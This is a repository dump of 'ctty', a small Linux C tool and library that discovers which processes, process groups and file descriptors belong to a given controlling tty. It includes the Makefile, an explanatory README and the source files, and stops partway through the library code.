PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /ctty/Makefile: -------------------------------------------------------------------------------- 1 | CC = musl-gcc 2 | CFLAGS = -std=gnu99 -Wall -Wextra -pedantic -O3 3 | AR = ar 4 | ARFLAGS = rcs 5 | RANLIB = ranlib 6 | 7 | 8 | all: libctty.a ctty 9 | 10 | libctty.a: libctty.c libctty.h 11 | $(CC) $(CFLAGS) -c libctty.c 12 | $(AR) $(ARFLAGS) libctty.a libctty.o 13 | $(RANLIB) libctty.a 14 | 15 | ctty: libctty.o ctty.c 16 | $(CC) $(CFLAGS) -L. -o ctty ctty.c -lctty 17 | 18 | clean: 19 | rm libctty.o libctty.a ctty 20 | -------------------------------------------------------------------------------- /ctty/README.md: -------------------------------------------------------------------------------- 1 | # ctty # 2 | 3 | _ctty_ is a [controlling tty](http://en.wikipedia.org/wiki/POSIX_terminal_interface#Controlling_terminals_and_process_groups) discovery tool (and library) for [Linux](http://en.wikipedia.org/wiki/Linux). 4 | 5 | **What is a tty?** 6 | 7 | In Linux, users can issue commands to the operating system through a [command line](http://en.wikipedia.org/wiki/Command_line). In the modern era, a command line is implemented as a [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29) attached to a [pseudo-terminal](http://linux.die.net/man/7/pty). The pseudo-terminal itself is a type of [tty](http://en.wikipedia.org/wiki/Teleprinter) and leverages the [tty driver](http://lxr.linux.no/#linux+v3.9.5/drivers/tty) section of the [Linux kernel](https://www.kernel.org/). 8 | 9 | **What is a _controlling_ tty?** 10 | 11 | A controlling tty is a tty that has a special relationship with a [process session](http://www.win.tue.nl/~aeb/linux/lk/lk-10.html). When a tty is "controlling" for a session, it will send the session leader, and other members of that session, [signals](http://en.wikipedia.org/wiki/Unix_signal) to help control the user experience. 12 | 13 | **What is a session?** 14 | 15 | Processes are grouped into process groups for [job control](http://en.wikipedia.org/wiki/Job_control_%28Unix%29). Process groups themselves are grouped together into a session to facilitate the resource sharing of a tty. The [man page](http://en.wikipedia.org/wiki/Man_page) for [credentials](http://linux.die.net/man/7/credentials) is an excellent resource on this topic. 16 | 17 | **What part of the operating system keeps track of all this?** 18 | 19 | The tty driver in the kernel will know what session ID a tty is "controlling" for. Likewise, every process in a session will know which tty is "controlling" for it. There is no single authoritative point on the topic and a stable system requires the cooperation of all the players involved. 20 | 21 | **This sounds totally crazy? How did it end up this way?** 22 | 23 | Back in late 1960s, computers were finally fast enough to interact with users in real time. Coincidentally, the [old teletype terminals](http://en.wikipedia.org/wiki/Teleprinter) were broadly used throughout the telecommunications industry. The engineers of the day, being appropriately [lazy](http://threevirtues.com/), simply re-purposed this existing technology to fit their needs. This was the birth of the command line. 24 | 25 | Make sure you read [The TTY demystified](http://www.linusakesson.net/programming/tty/) by [Linus Åkesson](http://www.linusakesson.net/). His page is the most enlightening for this topic anywhere on the internet. Many thanks to Linus for putting it together! 26 | 27 | **How can you tell what the controlling tty is for any given process?** 28 | 29 | The [ctermid](http://linux.die.net/man/3/ctermid) function will return the name of the controlling tty for the process that calls it, but this output is not particularly helpful for discovery. This function exists only to aid in portability and will always return the string "/dev/tty" regardless of which terminal or pseudo-terminal device is controlling for the process. 30 | 31 | Further, there is no system or library call that will report the controlling tty for another process. The [stat](http://linux.die.net/man/5/proc) file for any given process will contain that information, though not in a format easily consumed by humans: 32 | 33 | tty_nr %d The controlling terminal of the process. (The minor device number is contained in 34 | the combination of bits 31 to 20 and 7 to 0; the major device number is in bits 35 | 15 to 8.) 36 | 37 | The ["ps j -p PID"](http://linux.die.net/man/1/ps) command will report the controlling tty in a human readable format for any given PID. 38 | 39 | **How can you tell which session is controlled by any given tty?** 40 | 41 | Traditionally, there is no easy way to see this information programmatically. (Again, examining the results of the ["ps j"](http://linux.die.net/man/1/ps) command will allow you to perform this discovery manually.) I wrote _ctty_ to fill this gap. It does the needed detective work, and reports back to the user. _libctty_ gives you a C interface to this functionality. 42 | 43 | 44 | ## _ctty_ Usage ## 45 | 46 | usage: ctty [-v] [TTY_NAME] 47 | -v verbose reporting format 48 | 49 | To see the session information for a particular tty: 50 | 51 | empty@monkey:~$ ctty /dev/pts/3 52 | /dev/pts/3:empty:3099:3099:3099:0,1,2,255 53 | /dev/pts/3:empty:3099:3158:3158:0,1,2 54 | /dev/pts/3:empty:3099:3158:3170:1,2 55 | /dev/pts/3:empty:3099:3176:3176:15,16,17,18,19 56 | /dev/pts/3:empty:3099:3184:3184:0,1,2,5,6,7 57 | 58 | The format is: 59 | 60 | TTY_NAME:USER:SID:PGID:PID:FD1,FD2,...,FDn 61 | 62 | The fields are: 63 | 64 | * TTY_NAME: tty name 65 | * USER: user name (or uid if no match in /etc/passwd) 66 | * SID: session ID 67 | * PGID: process group ID 68 | * PID: process ID 69 | * FDs: file descriptors *which this process has open to the controlling tty.* 70 | 71 | Note: 72 | 73 | * Running _ctty_ without any arguments will attempt to return the results for all ttys. 74 | * The -v switch will give a different output format that is a bit easier to read, though much longer and not fit for scripting. 75 | 76 | ## _libctty_ Usage ## 77 | 78 | This is best documented inside the source code. However, as a quick overview, _libctty.h_ defines the following interfaces: 79 | 80 | /* ctty_get_name() is used to discover the controlling tty for a process. */ 81 | char *ctty_get_name(int pid); 82 | 83 | /* ctty_get_session() is used to map out the entire process session. */ 84 | struct sid_node *ctty_get_session(char *tty_name); 85 | 86 | /* ctty_free_session() is used to release the session data structure. */ 87 | void ctty_free_session(struct sid_node *session); 88 | 89 | /* ctty_stat_parse() will pull ctty and session related info from the processes stat file. */ 90 | int ctty_stat_parse(int pid, struct proc_stat *stat_info); 91 | 92 | /* ctty_get_fds() returns the list of file descriptors open to the tty you're interested in. */ 93 | int ctty_get_fds(int pid, char *tty, int **fds); 94 | 95 | ## Installation ## 96 | 97 | git clone https://github.com/emptymonkey/ctty.git 98 | cd ctty 99 | make 100 | 101 | -------------------------------------------------------------------------------- /ctty/ctty.c: -------------------------------------------------------------------------------- 1 | 2 | /********************************************************************** 3 | * 4 | * ctty : 2013-03-20 5 | * 6 | * emptymonkey's tool for mapping sessions by their controlling tty. 7 | * 8 | * 9 | * Example use: 10 | * empty@monkey:~$ ctty /dev/pts/3 11 | * /dev/pts/3:empty:3099:3099:3099:0,1,2,255 12 | * /dev/pts/3:empty:3099:3158:3158:0,1,2 13 | * /dev/pts/3:empty:3099:3158:3170:1,2 14 | * /dev/pts/3:empty:3099:3176:3176:15,16,17,18,19 15 | * /dev/pts/3:empty:3099:3184:3184:0,1,2,5,6,7 16 | * 17 | * The output format is: 18 | * TTY:USER:SID:PGID:PID:FD0,FD1,...,FDn 19 | * 20 | * Notes: 21 | * * Only the file descriptors that are pointing to the ctty are listed. 22 | * 23 | * * If you run ctty without any arguments, it will attempt to return 24 | * the results for all ttys. (This will probably fail for most ttys 25 | * unless you are root.) 26 | * 27 | * * The -v switch will give a different output format that is a bit 28 | * easier to read, though much longer and not fit for scripting. 29 | * 30 | **********************************************************************/ 31 | 32 | 33 | #include "libctty.h" 34 | 35 | #include 36 | 37 | 38 | void usage(); 39 | void ctty_print_session(struct sid_node *session_list, int verbose); 40 | 41 | 42 | #define MAX_INT_LEN 10 43 | 44 | 45 | void usage(){ 46 | fprintf(stderr, "usage: %s [-v] [TTY_NAME]\n", program_invocation_short_name); 47 | fprintf(stderr, "\t-v\tverbose reporting format\n"); 48 | exit(-1); 49 | } 50 | 51 | 52 | int main(int argc, char **argv){ 53 | int i, retval; 54 | struct sid_node *session_head = NULL, *session_tail = NULL, *session_tmp; 55 | glob_t pglob; 56 | int opt, verbose = 0; 57 | 58 | while ((opt = getopt(argc, argv, "v")) != -1) { 59 | switch (opt) { 60 | case 'v': 61 | verbose = 1; 62 | break; 63 | 64 | default: 65 | usage(); 66 | } 67 | } 68 | 69 | if((argc - optind) > 1){ 70 | usage(); 71 | } 72 | 73 | if((argc - optind) == 1){ 74 | if((session_head = ctty_get_session(argv[optind])) == NULL){ 75 | error(-1, errno, "ctty_get_session(%s)", argv[optind]); 76 | } 77 | }else{ 78 | if((retval = glob("/dev/tty*", 0, NULL, &pglob))){ 79 | error(-1, errno, "glob(%s, %d, %p, %lx)", \ 80 | "/dev/tty*", 0, NULL, (unsigned long) &pglob); 81 | } 82 | 83 | if((retval = glob("/dev/pts/[0-9]*", GLOB_APPEND, NULL, &pglob))){ 84 | error(-1, errno, "glob(%s, %d, %p, %lx)", \ 85 | "/dev/pts/[0-9]*", 0, NULL, (unsigned long) &pglob); 86 | } 87 | for(i = 0; i < (int) pglob.gl_pathc; i++){ 88 | errno = 0; 89 | if(((session_tmp = ctty_get_session(pglob.gl_pathv[i])) == NULL) && (errno)){ 90 | fprintf(stderr, "ctty_get_session(%s): %s\n", pglob.gl_pathv[i], strerror(errno)); 91 | }else if(session_tmp){ 92 | 93 | if(!session_head){ 94 | session_head = session_tmp; 95 | session_tail = session_tmp; 96 | }else{ 97 | session_tail->next = session_tmp; 98 | session_tail = session_tmp; 99 | } 100 | } 101 | } 102 | globfree(&pglob); 103 | } 104 | 105 | ctty_print_session(session_head, verbose); 106 | 107 | return(0); 108 | } 109 | 110 | 111 | void ctty_print_session(struct sid_node *session_list, int verbose){ 112 | int i; 113 | 114 | struct sid_node *session; 115 | struct pgid_node *pgroup; 116 | struct pid_node *proc; 117 | 118 | struct passwd *user; 119 | 120 | session = session_list; 121 | while(session){ 122 | 123 | errno = 0; 124 | user = getpwuid(session->uid); 125 | if(errno){ 126 | error(-1, errno, "getpwuid(%d)", session->uid); 127 | continue; 128 | } 129 | 130 | 131 | if(verbose){ 132 | printf("--------------------------------\n"); 133 | printf("TTY: %s\n", session->ctty); 134 | 135 | if(user){ 136 | printf("USER: %s\n\n", user->pw_name); 137 | }else{ 138 | printf("USER: No such user: %d\n\n", session->uid); 139 | } 140 | 141 | printf("SID\tPGID\tPID\tFDs\n"); 142 | printf("---\t----\t---\t---\n"); 143 | 144 | printf("%d\n", session->sid); 145 | } 146 | 147 | pgroup = session->pgid_head; 148 | while(pgroup){ 149 | if(verbose){ 150 | printf("\t%d\n", pgroup->pgid); 151 | } 152 | 153 | proc = pgroup->pid_head; 154 | while(proc){ 155 | 156 | if(verbose){ 157 | printf("\t\t%d\n", proc->pid); 158 | for(i = 0; i < proc->fd_count; i++){ 159 | printf("\t\t\t%d\n", proc->fds[i]); 160 | } 161 | }else{ 162 | if(user){ 163 | printf("%s:%s:%d:%d:%d:", session->ctty, user->pw_name, session->sid, pgroup->pgid, proc->pid); 164 | }else{ 165 | printf("%s:%d:%d:%d:%d:", session->ctty, session->uid, session->sid, pgroup->pgid, proc->pid); 166 | } 167 | 168 | for(i = 0; i < proc->fd_count; i++){ 169 | if(!i){ 170 | printf("%d", proc->fds[i]); 171 | }else{ 172 | printf(",%d", proc->fds[i]); 173 | } 174 | } 175 | printf("\n"); 176 | } 177 | proc = proc->next; 178 | } 179 | pgroup = pgroup->next; 180 | } 181 | session = session->next; 182 | } 183 | 184 | if(verbose){ 185 | printf("--------------------------------\n"); 186 | } 187 | } 188 | -------------------------------------------------------------------------------- /ctty/libctty.c: -------------------------------------------------------------------------------- 1 | 2 | /************************************************************************ 3 | * libctty : 2013-03-20 4 | * 5 | * emptymonkey's library for discovery of controlling ttys and their 6 | * associated sessions. 7 | * 8 | * For an example usage, check the ctty.c code in this same package. 9 | * 10 | ************************************************************************/ 11 | 12 | #include "libctty.h" 13 | 14 | 15 | void clean_pids(struct pid_node *head); 16 | void clean_pgids(struct pgid_node *head); 17 | 18 | 19 | // "/dev/pts/" -> 9 + KERN_PIDMAX 20 | #define MAX_PATH_LEN KERN_PIDMAX + 19 21 | 22 | 23 | /************************************************************************ 24 | * 25 | * ctty_get_name() 26 | * 27 | * Inputs: 28 | * The process id. 29 | * 30 | * Outputs: 31 | * The name of the controlling tty. 32 | * 33 | ************************************************************************/ 34 | char *ctty_get_name(int pid){ 35 | int retval; 36 | int i; 37 | 38 | char *name = NULL; 39 | char path[MAX_PATH_LEN + 1]; 40 | char scratch[MAX_PATH_LEN + 1]; 41 | 42 | DIR *dev_dir = NULL; 43 | struct dirent *dir_entry; 44 | 45 | struct stat dev_info; 46 | struct proc_stat stat_info; 47 | 48 | 49 | if((retval = ctty_stat_parse(pid, &stat_info)) == -1){ 50 | #ifdef DEBUG 51 | fprintf(stderr, "%s: ctty_get_name(): ctty_stat_parse(%d, %lx): %s\n", program_invocation_short_name, \ 52 | pid, (unsigned long) &stat_info, \ 53 | strerror(errno)); 54 | #endif 55 | goto CLEAN_UP; 56 | } 57 | 58 | for(i = 0; i < 2; i++){ 59 | memset(path, 0, sizeof(path)); 60 | if(snprintf(path, sizeof(path), "/dev/") < 0){ 61 | return(NULL); 62 | } 63 | 64 | if(i){ 65 | if(snprintf(path + 5, sizeof(path) - 5, "pts/") < 0){ 66 | return(NULL); 67 | } 68 | } 69 | 70 | if(!(dev_dir = opendir(path))){ 71 | #ifdef DEBUG 72 | fprintf(stderr, "%s: ctty_get_name(): opendir(%s): %s\n", program_invocation_short_name, \ 73 | path, \ 74 | strerror(errno)); 75 | #endif 76 | return(NULL); 77 | } 78 | 79 | while((dir_entry = readdir(dev_dir))){ 80 | 81 | if(!i){ 82 | if(strncmp(dir_entry->d_name, "tty", 3)){ 83 | continue; 84 | } 85 | } 86 | 87 | memset(scratch, 0, sizeof(scratch)); 88 | if(snprintf(scratch, sizeof(scratch), "%s%s", path, dir_entry->d_name) < 0){ 89 | goto CLEAN_UP; 90 | } 91 | 92 | if(stat(scratch, &dev_info)){ 93 | #ifdef DEBUG 94 | fprintf(stderr, "%s: ctty_get_name(): stat(%s, %lx): %s\n", program_invocation_short_name, \ 95 | scratch, (unsigned long) &dev_info, \ 96 | strerror(errno)); 97 | #endif 98 | goto CLEAN_UP; 99 | } 100 | 101 | if(stat_info.tty_nr == (int) dev_info.st_rdev){ 102 | if((name = (char *) malloc(strlen(scratch) + 1)) == NULL){ 103 | #ifdef DEBUG 104 | fprintf(stderr, "%s: ctty_get_name(): malloc(%d): %s\n", program_invocation_short_name, \ 105 | (int) strlen(scratch) + 1, \ 106 | strerror(errno)); 107 | #endif 108 | goto CLEAN_UP; 109 | } 110 | memset(name, 0, strlen(scratch) + 1); 111 | strncpy(name, scratch, MAX_PATH_LEN); 112 | goto CLEAN_UP; 113 | } 114 | } 115 | 116 | closedir(dev_dir); 117 | } 118 | 119 | CLEAN_UP: 120 | closedir(dev_dir); 121 | return(name); 122 | } 123 | 124 | 125 | /************************************************************************ 126 | * ctty_get_session() 127 | * 128 | * Inputs: 129 | * The name of a tty. 130 | * 131 | * Outputs: 132 | * A session, as represented by a pointer to a populated sid_node. 133 | * 134 | ************************************************************************/ 135 | struct sid_node *ctty_get_session(char *tty_name){ 136 | int i, retval; 137 | int ctty_nr; 138 | int pid; 139 | 140 | uid_t ctty_uid; 141 | 142 | struct stat stat_buf; 143 | struct proc_stat tmp_stat_info; 144 | struct pid_node *tmp_pid_ptr, *new_pid_ptr, *head_pid_ptr = NULL, *tail_pid_ptr = NULL, *leader_pid_ptr = NULL; 145 | struct pgid_node *tmp_pgid_ptr, *new_pgid_ptr, *tail_pgid_ptr = NULL, *leader_pgid_ptr = NULL; 146 | struct sid_node *tmp_sid_ptr; 147 | 148 | glob_t pglob; 149 | 150 | /* 151 | * Grab information about the tty. 152 | * 153 | */ 154 | if((retval = stat(tty_name, &stat_buf)) == -1){ 155 | #ifdef DEBUG 156 | fprintf(stderr, "%s: ctty_get_session(): stat(%s, %lx): %s\n", program_invocation_short_name, \ 157 | tty_name, (unsigned long) &stat_buf, \ 158 | strerror(errno)); 159 | #endif 160 | return(NULL); 161 | } 162 | 163 | ctty_nr = stat_buf.st_rdev; 164 | ctty_uid = (int) stat_buf.st_uid; 165 | 166 | /* 167 | * Find all the relevant stat files. Ignore any that don't share the uid of the tty. 168 | * We are only interested in processes for which tty_name is a controlling tty. 169 | */ 170 | if((retval = glob("/proc/[0-9]*/stat", 0, NULL, &pglob))){ 171 | #ifdef DEBUG 172 | fprintf(stderr, "%s: ctty_get_session(): glob(%s, %d, %p, %lx): retval == %d\n", program_invocation_short_name, \ 173 | "/proc/[0-9]*/stat", 0, NULL, (unsigned long) &pglob, \ 174 | retval); 175 | #endif 176 | return(NULL); 177 | } 178 | 179 | for(i = 0; i < (int) pglob.gl_pathc; i++){ 180 | if((retval = stat(pglob.gl_pathv[i], &stat_buf)) == -1){ 181 | #ifdef DEBUG 182 | fprintf(stderr, "%s: ctty_get_session(): stat(%s, %lx): %s\n", program_invocation_short_name, \ 183 | pglob.gl_pathv[i], (unsigned long) &stat_buf, \ 184 | strerror(errno)); 185 | #endif 186 | globfree(&pglob); 187 | return(NULL); 188 | } 189 | 190 | if((pid = (int) strtol((pglob.gl_pathv[i]) + 6, NULL, 10)) == 0){ 191 | #ifdef DEBUG 192 | fprintf(stderr, "%s: ctty_get_session(): strtol(%lx, %p, %d): %s\n", program_invocation_short_name, \ 193 | (unsigned long) (pglob.gl_pathv[i]) + 6, NULL, 10, \ 194 | strerror(errno)); 195 | #endif 196 | globfree(&pglob); 197 | return(NULL); 198 | } 199 | 200 | if((retval = ctty_stat_parse(pid, &tmp_stat_info)) == -1){ 201 | #ifdef DEBUG 202 | fprintf(stderr, "%s: ctty_get_session(): ctty_stat_parse(%d, %lx): %s\n", program_invocation_short_name, \ 203 | pid, (unsigned long) &tmp_stat_info, \ 204 | strerror(errno)); 205 | #endif 206 | globfree(&pglob); 207 | return(NULL); 208 | } 209 | 210 | if(ctty_nr == tmp_stat_info.tty_nr){ 211 | 212 | /* 213 | * We've got a match, so lets build a pid_node to represent this process. 214 | * 215 | */ 216 | if((new_pid_ptr = (struct pid_node *) malloc(sizeof(struct pid_node))) == NULL){ 217 | #ifdef DEBUG 218 | fprintf(stderr, "%s: ctty_get_session(): malloc(%d): %s\n", program_invocation_short_name, \ 219 | (int) sizeof(struct pid_node), \ 220 | strerror(errno)); 221 | #endif 222 | globfree(&pglob); 223 | return(NULL); 224 | } 225 | memset(new_pid_ptr, 0, sizeof(struct pid_node)); 226 | 227 | new_pid_ptr->pid = tmp_stat_info.pid; 228 | new_pid_ptr->pgid = tmp_stat_info.pgrp; 229 | new_pid_ptr->sid = tmp_stat_info.session; 230 | 231 | if((new_pid_ptr->fd_count = ctty_get_fds(new_pid_ptr->pid, tty_name, &new_pid_ptr->fds)) == -1){ 232 | #ifdef DEBUG 233 | fprintf(stderr, "%s: ctty_get_session(): ctty_get_fds(%d, %s, %lx): %s\n", program_invocation_short_name, \ 234 | new_pid_ptr->pid, tty_name, (unsigned long) &new_pid_ptr->fds, \ 235 | strerror(errno)); 236 | #endif 237 | globfree(&pglob); 238 | clean_pids(new_pid_ptr); 239 | clean_pids(head_pid_ptr); 240 | return(NULL); 241 | } 242 | 243 | /* 244 | * Add the pid_node to a linked list of pid_nodes. Let's make sure it's sorted numerically. 245 | * Also, note that we want the head of the list to point to the session leader. Keep in 246 | * mind that when you hit pid_max (~32k) you run out of pids and start over at the 247 | * beginning. As such, the lowest number is not necessarily the session leader. 248 | * 249 | */ 250 | if(new_pid_ptr->sid == new_pid_ptr->pid){ 251 | leader_pid_ptr = new_pid_ptr; 252 | } 253 | 254 | if(!head_pid_ptr){ 255 | head_pid_ptr = new_pid_ptr; 256 | tail_pid_ptr = new_pid_ptr; 257 | }else{ 258 | 259 | if(tail_pid_ptr->pid < new_pid_ptr->pid){ 260 | tail_pid_ptr->next = new_pid_ptr; 261 | tail_pid_ptr = new_pid_ptr; 262 | 263 | }else if(head_pid_ptr->pid > new_pid_ptr->pid){ 264 | new_pid_ptr->next = head_pid_ptr; 265 | head_pid_ptr = new_pid_ptr; 266 | 267 | }else{ 268 | tmp_pid_ptr = head_pid_ptr; 269 | while(tmp_pid_ptr){ 270 | if((tmp_pid_ptr->pid < new_pid_ptr->pid) && \ 271 | (tmp_pid_ptr->next->pid > new_pid_ptr->pid)){ 272 | new_pid_ptr->next = tmp_pid_ptr->next; 273 | tmp_pid_ptr->next = new_pid_ptr; 274 | } 275 | tmp_pid_ptr = tmp_pid_ptr->next; 276 | } 277 | } 278 | } 279 | } 280 | } 281 | globfree(&pglob); 282 | 283 | /* 284 | * Return immediately if this tty isn't controlling for any sessions. 285 | * 286 | */ 287 | if(!head_pid_ptr){ 288 | errno = 0; 289 | return(NULL); 290 | } 291 | 292 | if(leader_pid_ptr != head_pid_ptr){ 293 | 294 | tmp_pid_ptr = head_pid_ptr; 295 | while(tmp_pid_ptr){ 296 | if(tmp_pid_ptr->next == leader_pid_ptr){ 297 | break; 298 | } 299 | tmp_pid_ptr = tmp_pid_ptr->next; 300 | } 301 | tail_pid_ptr->next = head_pid_ptr; 302 | tmp_pid_ptr->next = NULL; 303 | head_pid_ptr = leader_pid_ptr; 304 | tail_pid_ptr = tmp_pid_ptr; 305 | } 306 | 307 | /* 308 | * Time to set up the session itself, and at least one group too. 309 | * 310 | */ 311 | if((tmp_sid_ptr = (struct sid_node *) malloc(sizeof(struct sid_node))) == NULL){ 312 | #ifdef DEBUG 313 | fprintf(stderr, "%s: ctty_get_session(): malloc(%d): %s\n", program_invocation_short_name, \ 314 | (int) sizeof(struct sid_node), \ 315 | strerror(errno)); 316 | #endif 317 | clean_pids(head_pid_ptr); 318 | return(NULL); 319 | } 320 | memset(tmp_sid_ptr, 0, sizeof(struct sid_node)); 321 | 322 | tmp_sid_ptr->sid = head_pid_ptr->pid; 323 | tmp_sid_ptr->uid = ctty_uid; 324 | 325 | retval = strlen(tty_name); 326 | if((tmp_sid_ptr->ctty = (char *) malloc(retval + 1)) == NULL){ 327 | #ifdef DEBUG 328 | fprintf(stderr, "%s: ctty_get_session(): malloc(%d): %s\n", program_invocation_short_name, \ 329 | retval + 1, \ 330 | strerror(errno)); 331 | #endif 332 | clean_pids(head_pid_ptr); 333 | ctty_free_session(tmp_sid_ptr); 334 | return(NULL); 335 | } 336 | memcpy(tmp_sid_ptr->ctty, tty_name, retval + 1); 337 | 338 | /* 339 | * Here, we have the linked list of all pid_nodes for this session pointed to by head_pid_ptr. 340 | * We will remove one node at a time from the old list and move it into a new list on a pgid 341 | * by pgid basis. (Each pass of the loop will remove all pids that match the pgid.) 342 | * 343 | * We will want to reuse the pid_node pointers from above. Here, they break down as such: 344 | * head_pid_ptr : head of the old list. 345 | * tmp_pid_ptr : the current node being examined in the old list. 346 | * new_pid_ptr : the node right before tmp_pid_ptr. 347 | * 348 | * new_pgid_ptr->pid_head : head of the new list. 349 | * tail_pid_ptr : the last element of the new list. 350 | * 351 | */ 352 | while(head_pid_ptr){ 353 | 354 | if((new_pgid_ptr = (struct pgid_node *) malloc(sizeof(struct pgid_node))) == NULL){ 355 | #ifdef DEBUG 356 | fprintf(stderr, "%s: ctty_get_session(): malloc(%d): %s\n", program_invocation_short_name, \ 357 | (int) sizeof(struct pgid_node), \ 358 | strerror(errno)); 359 | #endif 360 | clean_pids(head_pid_ptr); 361 | ctty_free_session(tmp_sid_ptr); 362 | return(NULL); 363 | } 364 | memset(new_pgid_ptr, 0, sizeof(struct pgid_node)); 365 | 366 | if(tmp_sid_ptr->sid == head_pid_ptr->pgid){ 367 | leader_pgid_ptr = new_pgid_ptr; 368 | } 369 | if(head_pid_ptr->pid == head_pid_ptr->pgid){ 370 | leader_pid_ptr = head_pid_ptr; 371 | } 372 | 373 | new_pgid_ptr->pgid = head_pid_ptr->pgid; 374 | 375 | new_pgid_ptr->pid_head = head_pid_ptr; 376 | head_pid_ptr = head_pid_ptr->next; 377 | new_pgid_ptr->pid_head->next = NULL; 378 | tail_pid_ptr = new_pgid_ptr->pid_head; 379 | 380 | tmp_pid_ptr = head_pid_ptr; 381 | new_pid_ptr = NULL; 382 | leader_pid_ptr = NULL; 383 | while(tmp_pid_ptr){ 384 | if(tmp_pid_ptr->pgid == new_pgid_ptr->pgid){ 385 | 386 | if(tmp_pid_ptr->pid == new_pgid_ptr->pgid){ 387 | leader_pid_ptr = tmp_pid_ptr; 388 | } 389 | 390 | if(!new_pid_ptr){ 391 | head_pid_ptr = tmp_pid_ptr->next; 392 | }else{ 393 | new_pid_ptr->next = tmp_pid_ptr->next; 394 | } 395 | tmp_pid_ptr->next = NULL; 396 | tail_pid_ptr->next = tmp_pid_ptr; 397 | tail_pid_ptr = tmp_pid_ptr; 398 | tmp_pid_ptr = head_pid_ptr; 399 | }else{ 400 | new_pid_ptr = tmp_pid_ptr; 401 | tmp_pid_ptr = tmp_pid_ptr->next; 402 | } 403 | } 404 | 405 | if(leader_pid_ptr && (leader_pid_ptr != new_pgid_ptr->pid_head)){ 406 | tmp_pid_ptr = new_pgid_ptr->pid_head; 407 | while(tmp_pid_ptr){ 408 | if(tmp_pid_ptr->next == leader_pid_ptr){ 409 | break; 410 | } 411 | tmp_pid_ptr = tmp_pid_ptr->next; 412 | } 413 | 414 | tail_pid_ptr->next = new_pgid_ptr->pid_head; 415 | tmp_pid_ptr->next = NULL; 416 | new_pgid_ptr->pid_head = leader_pid_ptr; 417 | } 418 | 419 | /* 420 | * Now insert the pgid_node into the session. 421 | * 422 | */ 423 | if(!tmp_sid_ptr->pgid_head){ 424 | tmp_sid_ptr->pgid_head = new_pgid_ptr; 425 | tail_pgid_ptr = new_pgid_ptr; 426 | }else{ 427 | 428 | if(new_pgid_ptr->pgid > tail_pgid_ptr->pgid){ 429 | tail_pgid_ptr->next = new_pgid_ptr; 430 | tail_pgid_ptr = new_pgid_ptr; 431 | 432 | }else if(new_pgid_ptr->pgid < tmp_sid_ptr->pgid_head->pgid){ 433 | new_pgid_ptr->next = tmp_sid_ptr->pgid_head; 434 | tmp_sid_ptr->pgid_head = new_pgid_ptr; 435 | 436 | }else{ 437 | tmp_pgid_ptr = tmp_sid_ptr->pgid_head; 438 | while(tmp_pgid_ptr){ 439 | if((tmp_pgid_ptr->pgid < new_pgid_ptr->pgid) && \ 440 | (tmp_pgid_ptr->next->pgid > new_pgid_ptr->pgid)){ 441 | new_pgid_ptr->next = tmp_pgid_ptr->next; 442 | tmp_pgid_ptr->next = new_pgid_ptr; 443 | } 444 | tmp_pgid_ptr = tmp_pgid_ptr->next; 445 | } 446 | } 447 | } 448 | } 449 | 450 | /* 451 | * We also have to try to point to the pgid leader (if it exists) 452 | * and deal with the same pid_max wrap around condition. 453 | * 454 | */ 455 | if(leader_pgid_ptr != tmp_sid_ptr->pgid_head){ 456 | tmp_pgid_ptr = tmp_sid_ptr->pgid_head; 457 | while(tmp_pgid_ptr){ 458 | if(tmp_pgid_ptr->next == leader_pgid_ptr){ 459 | break; 460 | } 461 | tmp_pgid_ptr = tmp_pgid_ptr->next; 462 | } 463 | tail_pgid_ptr->next = tmp_sid_ptr->pgid_head; 464 | tmp_pgid_ptr->next = NULL; 465 | tmp_sid_ptr->pgid_head = leader_pgid_ptr; 466 | } 467 | 468 | /* 469 | * All done! 470 | * 471 | */ 472 | return(tmp_sid_ptr); 473 | } 474 | 475 | 476 | /************************************************************************ 477 | * 478 | * ctty_stat_parse() 479 | * 480 | * Inputs: 481 | * The name of the /proc/PID/stat file you want to parse. 482 | * A pointer to the stat_info struct where you want us to put the data. 483 | * 484 | * Outputs: 485 | * An error code. (Hopefully zero, if all is well.) 486 | * 487 | ************************************************************************/ 488 | int ctty_stat_parse(int pid, struct proc_stat *stat_info){ 489 | int stat_fd; 490 | 491 | char scratch[BUFF_LEN]; 492 | char *parse_ptr; 493 | 494 | memset(scratch, 0, BUFF_LEN); 495 | snprintf(scratch, BUFF_LEN, "/proc/%d/stat", pid); 496 | 497 | if((stat_fd = open(scratch, O_RDONLY)) == -1){ 498 | #ifdef DEBUG 499 | fprintf(stderr, "%s: ctty_stat_parse(): open(%s, %d): %s\n", program_invocation_short_name, \ 500 | scratch, O_RDONLY, \ 501 | strerror(errno)); 502 | #endif 503 | return(-1); 504 | } 505 | 506 | if((read(stat_fd, scratch, sizeof(scratch))) < 1){ 507 | #ifdef DEBUG 508 | fprintf(stderr, "%s: ctty_stat_parse(): read(%d, %lx, %d): %s\n", program_invocation_short_name, \ 509 | stat_fd, (unsigned long) scratch, (int) sizeof(scratch), \ 510 | strerror(errno)); 511 | #endif 512 | return(-1); 513 | } 514 | close(stat_fd); 515 | 516 | stat_info->pid = strtol(scratch, NULL, 10); 517 | 518 | if((parse_ptr = strrchr(scratch, ')')) == NULL){ 519 | #ifdef DEBUG 520 | fprintf(stderr, "%s: ctty_stat_parse(): strrchr(%lx, %d): %s\n", program_invocation_short_name, \ 521 | (unsigned long) scratch, ')', \ 522 | strerror(errno)); 523 | #endif 524 | return(-1); 525 | } 526 | 527 | /* ppid starts 4 chars after the final ')'. */ 528 | parse_ptr += 4; 529 | stat_info->ppid = strtol(parse_ptr, &parse_ptr, 10); 530 | stat_info->pgrp = strtol(parse_ptr, &parse_ptr, 10); 531 | stat_info->session = strtol(parse_ptr, &parse_ptr, 10); 532 | stat_info->tty_nr = strtol(parse_ptr, NULL, 10); 533 | 534 | return(0); 535 | } 536 | 537 | 538 | /************************************************************************ 539 | * 540 | * ctty_get_fds() 541 | * 542 | * Inputs: 543 | * The pid of the process we are interested in. 544 | * The name of the tty we are interested in. 545 | * A pointer to the array where we will put matching file descriptors. 546 | * (File descriptors "match" if they are pointing to the tty mentioned above.) 547 | * 548 | * Outputs: 549 | * The total count of file descriptors being returned in the array. 550 | * 551 | ************************************************************************/ 